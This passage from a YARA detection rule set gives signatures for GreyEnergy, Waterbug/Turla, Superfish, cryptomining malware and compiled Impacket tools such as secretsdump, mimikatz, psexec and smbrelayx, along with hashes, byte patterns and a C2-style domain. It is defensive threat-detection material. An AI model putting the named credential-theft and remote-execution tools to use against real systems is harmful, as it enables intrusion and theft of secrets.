		hash1 = "c6a54912f77a39c8f909a66a940350dcd8474c7a1d0e215a878349f1b038c58a"
		id = "50830741-ba3d-505c-bb21-8cedc2162f96"

	strings:
		$s1 = "WioGLtonuaptWmrnttfepgetneemVsnygnV" fullword ascii
		$s2 = "PnSenariopoeKerGEtxrcy" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 2 of them
}

rule APT_GreyEnergy_Malware_Oct18_3
{
	meta:
		description = "Detects samples from Grey Energy report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
		date = "2018-10-17"
		hash1 = "0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0"
		id = "cc365dbf-1448-5219-95f5-d1154000f52d"

	strings:
		$x1 = "USQTUNPPQONOPOQUMSNUTRMRRLVPUOPMROPMPMQTPNPONVUOUQOMMNNSRSRQQVTPPRSSNVSTURTMMOPTONSQTOMONQVMQNUSONTQTUTSRRPVTONUQNORQMRRNRUSPS" fullword ascii
		$x2 = "tEMPiuP" fullword ascii
		$x3 = "sryCEMieye" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them
}

import "pe"

rule APT_GreyEnergy_Malware_Oct18_4
{
	meta:
		description = "Detects samples from Grey Energy report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
		date = "2018-10-17"
		hash1 = "6974b8acf6a8f7684673b01753c3a8248a1c491900cccf771db744ca0442f96a"
		hash2 = "165a7853ef51e96ce3f88bb33f928925b24ca5336e49845fc5fc556812092740"
		hash3 = "4470e40f63443aa27187a36bbb0c2f4def42b589b61433630df842b6e365ae3d"
		hash4 = "c21cf6018c2ee0a90b9d2c401aae8071c90b5a4bc9848a94d678d77209464f79"
		id = "1a2df257-a639-5868-a005-690d64cfbf2b"

	strings:
		$x1 = "iiodttd.eWt" fullword ascii
		$x2 = "irnnaar-ite-ornaa-naa-asoeienaeaanlagoeas:acnuihaaa" fullword ascii
		$x3 = "NURVNTURVORSMSPPRTQMPTTQOQRP" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "279adfbd42308a07b3131ee57d067b3e" or 1 of them )
}

rule APT_GreyEnergy_Malware_Oct18_5
{
	meta:
		description = "Detects samples from Grey Energy report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
		date = "2018-10-17"
		hash1 = "037723bdb9100d19bf15c5c21b649db5f3f61e421e76abe9db86105f1e75847b"
		hash2 = "b602ce32b7647705d68aedbaaf4485f1a68253f8f8132bd5d5f77284a6c2d8bb"
		id = "a8c4517d-912d-5264-b9ab-acdf37fc4d56"

	strings:
		$s12 = "WespySSld.eQ" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them
}

rule WaterBug_wipbot_2013_core_PDF
{
	meta:
		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 core PDF"
		author = "Symantec Security Response"
		date = "22.01.2015"
		reference = "http://t.co/rF35OaAXrl"
		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"

	strings:
		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/

	condition:
		uint32( 0 ) == 0x46445025 and #a > 150 and #b > 200
}

rule WaterBug_wipbot_2013_dll
{
	meta:
		description = "Symantec Waterbug Attack - Trojan.Wipbot 2014 Down.dll component"
		author = "Symantec Security Response"
		date = "22.01.2015"
		reference = "http://t.co/rF35OaAXrl"
		id = "2aae09a3-6e59-5951-941e-c1f82aada979"

	strings:
		$string1 = "/%s?rank=%s"
		$string2 = "ModuleStart\x00ModuleStop\x00start"
		$string3 = "1156fd22-3443-4344-c4ffff"
		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"

	condition:
		2 of them
}

rule WaterBug_wipbot_2013_core
{
	meta:
		description = "Symantec Waterbug Attack - Trojan.Wipbot core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
		author = "Symantec Security Response"
		date = "2015-01-22"
		modified = "2023-01-27"
		reference = "http://t.co/rF35OaAXrl"
		id = "2e8ccce9-d8ba-573d-b532-76d8e2ed5442"

	strings:
		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04}
		$code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}

	condition:
		uint16( 0 ) == 0x5A4D and ( ( $code1 or $code2 ) or ( $code3 and $code4 ) )
}

rule WaterBug_turla_dropper
{
	meta:
		description = "Symantec Waterbug Attack - Trojan Turla Dropper"
		author = "Symantec Security Response"
		date = "22.01.2015"
		reference = "http://t.co/rF35OaAXrl"
		id = "f9683ac7-36f3-5a2a-8b76-e8e2527f4e0d"

	strings:
		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}

	condition:
		all of them
}

rule WaterBug_fa_malware
{
	meta:
		description = "Symantec Waterbug Attack - FA malware variant"
		author = "Symantec Security Response"
		date = "2015-01-22"
		modified = "2023-01-27"
		reference = "http://t.co/rF35OaAXrl"
		id = "b09f798a-2875-59ca-b880-971d8f973c76"

	strings:
		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
		$string2 = "d:\\proj\\cn\\fa64\\"
		$string3 = "sengoku_Win32.sys\x00"
		$string4 = "rk_ntsystem.c"
		$string5 = "\\uroboros\\"
		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"

	condition:
		uint16( 0 ) == 0x5A4D and ( any of ( $string* ) )
}

rule WaterBug_sav
{
	meta:
		description = "Symantec Waterbug Attack - SAV Malware"
		author = "Symantec Security Response"
		date = "2015-01-22"
		modified = "2023-01-27"
		reference = "http://t.co/rF35OaAXrl"
		id = "685849de-9892-56bf-8215-21b08d8b2d7c"

	strings:
		$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
		$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC	3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
		$code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}

	condition:
		uint16( 0 ) == 0x5A4D and ( ( $code1a or $code1b or $code1c ) and $code2 )
}

rule VisualDiscovery_Lonovo_Superfish_SSL_Hijack
{
	meta:
		description = "Lenovo Superfish SSL Interceptor - file VisualDiscovery.exe"
		author = "Florian Roth (Nextron Systems) / improved by kbandla"
		reference = "https://twitter.com/4nc4p/status/568325493558272000"
		date = "2015/02/19"
		hash1 = "99af9cfc7ab47f847103b5497b746407dc566963"
		hash2 = "f0b0cd0227ba302ac9ab4f30d837422c7ae66c46"
		hash3 = "f12edf2598d8f0732009c5cd1df5d2c559455a0b"
		hash4 = "343af97d47582c8150d63cbced601113b14fcca6"
		id = "200c016e-7ad8-5b58-be5f-7866e91d60e9"

	strings:
		$s2 = "Invalid key length used to initialize BlowFish." fullword ascii
		$s3 = "GetPCProxyHandler" fullword ascii
		$s4 = "StartPCProxy" fullword ascii
		$s5 = "SetPCProxyHandler" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2MB and all of ( $s* )
}

rule Unspecified_Malware_Jul17_2C
{
	meta:
		description = "Unspecified Malware - CN relation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/CX3KaY"
		date = "2017-07-18"
		hash1 = "e8156ec1706716cada6f57b6b8ccc9fb0eb5debe906ac45bdc2b26099695b8f5"
		id = "91e760e8-7460-54af-a794-0b41a4b19760"

	strings:
		$x1 = "%AllUsersProfile%\\DeviceSync\\m.exe" fullword wide
		$x2 = "freenow.chickenkiller.com" fullword ascii
		$x3 = "\\Release\\PhantomNet-SSL.pdb" ascii
		$s1 = "SELECT * FROM AntiVirusProduct" fullword ascii
		$s2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%08X-%04X-%04X-%02X%02X%02X%02X" fullword ascii
		$s3 = "Proxy-Authenticate: Basic" fullword ascii
		$s4 = "Proxy-Authenticate: NTLM" fullword ascii
		$s5 = "Root\\SecurityCenter2" fullword wide
		$s6 = "aaabbbcccddd" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 4 of ( $s* ) ) ) or ( all of them )
}

rule APT_LNX_Academic_Camp_May20_Eraser_1
{
	meta:
		description = "Detects malware used in attack on academic data centers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
		date = "2020-05-16"
		hash1 = "552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363"
		id = "36d17887-9844-5fa4-8a0d-89cc41b2d876"

	strings:
		$sc2 = { E6 FF FF 48 89 45 D0 8B 45 E0 BA 00 00 00 00 BE
               00 00 00 00 89 C7 E8 }
		$sc3 = { E6 FF FF 89 45 DC 8B 45 DC 83 C0 01 48 98 BE 01
               00 00 00 48 89 C7 E8 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 60KB and all of them
}

rule APT_LNX_Academic_Camp_May20_Loader_1
{
	meta:
		description = "Detects malware used in attack on academic data centers"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
		date = "2020-05-16"
		hash1 = "0efdd382872f0ff0866e5f68f0c66c01fcf4f9836a78ddaa5bbb349f20353897"
		id = "cda65abd-d918-5ee6-8f4a-554d47532d76"

	strings:
		$sc1 = { C6 45 F1 00 C6 45 F2 0A C6 45 F3 0A C6 45 F4 4A
               C6 45 F5 04 C6 45 F6 06 C6 45 F7 1B C6 45 F8 01 }
		$sc2 = { 01 48 39 EB 75 EA 48 83 C4 08 5B 5D 41 5C 41 5D }

	condition:
		uint16( 0 ) == 0x457f and filesize < 10KB and all of them
}

rule WinDivert_Driver
{
	meta:
		description = "Detects WinDivert User-Mode packet capturing driver"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.reqrypt.org/windivert.html"
		date = "2017-10-02"
		score = 40
		hash1 = "33c657fa27b92cfcced66b331cfea7a880460a98cf037e4277faa1420fe59d1c"
		hash2 = "9b834e8f9d117bf2c564a37434973dc0717270ebfac8d8251711905d18da3858"
		hash3 = "5ef707ea68a9bd3a3e568793a0f7d66d166694801ada067d9ebac1d13e53153e"
		hash4 = "df12afa691e529f01c75b3dd734f6b45bf1488dbf90ced218657f0d205bff319"
		id = "95e89577-bb5a-5391-9130-155746d4783f"

	strings:
		$s1 = "WinDivertDllEntry" fullword ascii
		$s2 = "WinDivertHelperParseIPv4Address" fullword ascii
		$s3 = "WinDivert (web: http://reqrypt.org/windivert.html)" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and 1 of them )
}

rule Impacket_Tools_tracer
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "e300339058a885475f5952fb4e9faaa09bb6eac26757443017b281c46b03108b"
		id = "aea71154-5e19-522f-93b0-ff43fee0c5c0"

	strings:
		$s1 = "btk85.dll" fullword ascii
		$s2 = "btcl85.dll" fullword ascii
		$s3 = "xtk\\unsupported.tcl" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 21000KB and all of them )
}

rule Impacket_Tools_wmiexec
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "19544863758341fe7276c59d85f4aa17094045621ca9c98f8a9e7307c290bad4"
		id = "3c2c7edf-da71-53dc-9ddf-dfbf10838a27"

	strings:
		$s1 = "bwmiexec.exe.manifest" fullword ascii
		$s2 = "swmiexec" fullword ascii
		$s3 = "\\yzHPlU=QA" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and 2 of them )
}

rule Impacket_Tools_sniffer
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "efff15e1815fb3c156678417d6037ddf4b711a3122c9b5bc2ca8dc97165d3769"
		id = "07051edc-91a8-59d6-87bf-dba98ef28588"

	strings:
		$s1 = "ssniffer" fullword ascii
		$s2 = "impacket.dhcp(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and all of them )
}

rule Impacket_Tools_mmcexec
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "263a1655a94b7920531e123a8c9737428f2988bf58156c62408e192d4b2a63fc"
		id = "cca2082f-72a4-50c8-80b8-a9bed430dc4e"

	strings:
		$s1 = "smmcexec" fullword ascii
		$s2 = "\\yzHPlU=QA" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 16000KB and all of them )
}

rule Impacket_Tools_ifmap
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "20a1f11788e6cc98a76dca2db4691963c054fc12a4d608ac41739b98f84b3613"
		id = "e5461916-ec2b-5f65-b938-267483f50bb2"

	strings:
		$s1 = "bifmap.exe.manifest" fullword ascii
		$s2 = "impacket.dcerpc.v5.epm(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and all of them )
}

rule karmaSMB
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
		id = "32c810c7-02e7-5203-b2ed-4e930b318cc0"

	strings:
		$s1 = "bkarmaSMB.exe.manifest" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule samrdump
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
		id = "cd274719-c8cc-5882-8d75-192ad822c6b3"

	strings:
		$s2 = "bsamrdump.exe.manifest" fullword ascii
		$s3 = "ssamrdump" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_rpcdump
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
		id = "3f998aa6-c260-5fef-99ef-e8b4770c68c6"

	strings:
		$s1 = "srpcdump" fullword ascii
		$s2 = "impacket.dcerpc.v5.epm(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_secretsdump
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
		id = "c944d051-ea24-5595-abef-59e326ad56de"

	strings:
		$s1 = "ssecretsdump" fullword ascii
		$s2 = "impacket.ese(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_esentutl
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "70d854953d3ebb2c252783a4a103ba0e596d6ab447f238af777fb37d2b64c0cd"
		id = "1965e2b3-54be-553a-83d6-a0d4919414dd"

	strings:
		$s1 = "impacket.ese(" ascii
		$s2 = "sesentutl" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 11000KB and all of them )
}

rule Impacket_Tools_opdump
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
		id = "1bb0e747-e9b7-5a54-8052-428351be8d0d"

	strings:
		$s2 = "bopdump.exe.manifest" fullword ascii
		$s3 = "sopdump" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_sniff
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "8ab2b60aadf97e921e3a9df5cf1c135fbc851cb66d09b1043eaaa1dc01b9a699"
		id = "07051edc-91a8-59d6-87bf-dba98ef28588"

	strings:
		$s1 = "ssniff" fullword ascii
		$s2 = "impacket.eap(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and all of them )
}

rule Impacket_Tools_smbexec
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
		id = "02208817-2eab-54e2-90cf-44dbf5474607"

	strings:
		$s1 = "logging.config(" ascii
		$s2 = "ssmbexec" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_goldenPac
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
		id = "9894d16c-83fa-5e1d-9ca6-572deeec006a"

	strings:
		$s1 = "impacket.examples.serviceinstall(" ascii
		$s2 = "bgoldenPac.exe" fullword ascii
		$s3 = "json.scanner(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_netview
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
		id = "1b9238d2-b9b1-5633-8481-05a3a97af5a6"

	strings:
		$s1 = "impacket.dcerpc.v5.wkst(" ascii
		$s2 = "dummy_threading(" ascii
		$s3 = "snetview" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_smbtorture
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "d2856e98011541883e5b335cb46b713b1a6b2c414966a9de122ee7fb226aa7f7"
		id = "4f9b55e2-93ce-5d08-a228-73233fb0a2c6"

	strings:
		$s1 = "impacket" fullword ascii
		$s2 = "ssmbtorture" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_mimikatz
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
		id = "0b1f5ad0-7070-58d5-946f-157dcb9627ab"

	strings:
		$s1 = "impacket" fullword ascii
		$s2 = "smimikatz" fullword ascii
		$s3 = "otwsdlc" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_smbrelayx
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "9706eb99e48e445ac4240b5acb2efd49468a800913e70e40b25c2bf80d6be35f"
		id = "84abf3cf-841c-592d-a9d1-71d5e76eb43f"

	strings:
		$s1 = "impacket.examples.secretsdump" fullword ascii
		$s2 = "impacket.examples.serviceinstall" fullword ascii
		$s3 = "impacket.smbserver(" ascii
		$s4 = "SimpleHTTPServer(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 18000KB and 3 of them )
}

rule Impacket_Tools_wmipersist
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "2527fff1a3c780f6a757f13a8912278a417aea84295af1abfa4666572bbbf086"
		id = "29bda652-28f0-5ab6-9bc2-411f20ab0dda"

	strings:
		$s1 = "swmipersist" fullword ascii
		$s2 = "\\yzHPlU=QA" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_lookupsid
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "47756725d7a752d3d3cfccfb02e7df4fa0769b72e008ae5c85c018be4cf35cc1"
		id = "27f13397-b044-54b4-b5e8-c5f7ed374f59"

	strings:
		$s1 = "slookupsid" fullword ascii
		$s2 = "impacket.dcerpc" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and all of them )
}

rule Impacket_Tools_wmiquery
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "202a1d149be35d96e491b0b65516f631f3486215f78526160cf262d8ae179094"
		id = "e8bdf27a-9763-5947-854f-162f74ff53be"

	strings:
		$s1 = "swmiquery" fullword ascii
		$s2 = "\\yzHPlU=QA" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and all of them )
}

rule Impacket_Tools_atexec
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "337bd5858aba0380e16ee9a9d8f0b3f5bfc10056ced4e75901207166689fbedc"
		id = "4f02e304-69d4-5952-80be-793379bccac0"

	strings:
		$s1 = "batexec.exe.manifest" fullword ascii
		$s2 = "satexec" fullword ascii
		$s3 = "impacket.dcerpc" fullword ascii
		$s4 = "# CSZq" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 15000KB and 3 of them )
}

rule Impacket_Tools_psexec
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
		id = "5e8d0964-7e6a-5ff6-b9db-e37f997c3e05"

	strings:
		$s1 = "impacket.examples.serviceinstall(" ascii
		$s2 = "spsexec" fullword ascii
		$s3 = "impacket.examples.remcomsvc(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 17000KB and 2 of them )
}

rule Impacket_Tools_Generic_1
{
	meta:
		description = "Compiled Impacket Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		super_rule = 1
		hash1 = "4f7fad0676d3c3d2d89e8d4e74b6ec40af731b1ddf5499a0b81fc3b1cd797ee3"
		hash2 = "d256d1e05695d62a86d9e76830fcbb856ba7bd578165a561edd43b9f7fdb18a3"
		hash3 = "2d8d500bcb3ffd22ddd8bd68b5b2ce935c958304f03729442a20a28b2c0328c1"
		hash4 = "ab909f8082c2d04f73d8be8f4c2640a5582294306dffdcc85e83a39d20c49ed6"
		hash5 = "e2205539f29972d4e2a83eabf92af18dd406c9be97f70661c336ddf5eb496742"
		hash6 = "27bb10569a872367ba1cfca3cf1c9b428422c82af7ab4c2728f501406461c364"
		hash7 = "dc85a3944fcb8cc0991be100859c4e1bf84062f7428c4dc27c71e08d88383c98"
		hash8 = "0f7f0d8afb230c31fe6cf349c4012b430fc3d6722289938f7e33ea15b2996e1b"
		hash9 = "21d85b36197db47b94b0f4995d07b040a0455ebbe6d413bc33d926ee4e0315d9"
		hash10 = "4c2921702d18e0874b57638433474e54719ee6dfa39d323839d216952c5c834a"
		hash11 = "47afa5fd954190df825924c55112e65fd8ed0f7e1d6fd403ede5209623534d7d"
		hash12 = "7d715217e23a471d42d95c624179fe7de085af5670171d212b7b798ed9bf07c2"
